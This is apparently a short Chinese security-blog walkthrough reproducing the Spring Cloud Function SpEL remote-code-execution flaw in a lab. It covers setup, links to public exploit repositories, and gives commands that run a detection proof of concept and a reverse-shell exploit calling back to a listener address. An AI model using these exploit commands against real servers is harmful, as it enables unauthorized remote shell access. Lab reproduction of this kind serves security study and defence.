# 环境搭建
JDK 15下载：
https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html在CentOS7上安装JDK 15环境
rpm -ivh jdk-15.0.2_linux-x64_bin.rpm漏洞环境下载：
https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE部署漏洞环境：
java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar# 漏洞复现
访问：http://192.168.160.146:9000/
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE## 检测漏洞python3 Spel_RCE_POC.py url.txt## 反弹shellpython3 Spel_RCE_Bash_EXP.py http://192.168.160.146:9000/ 192.168.160.241 7777
PS：本公众号内的文章及工具仅提供学习用途，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号及文章作者不为此承担任何责任。
原文始发于微信公众号（明联安全）：【Nday】Spring-Cloud-SpEL-RCE漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论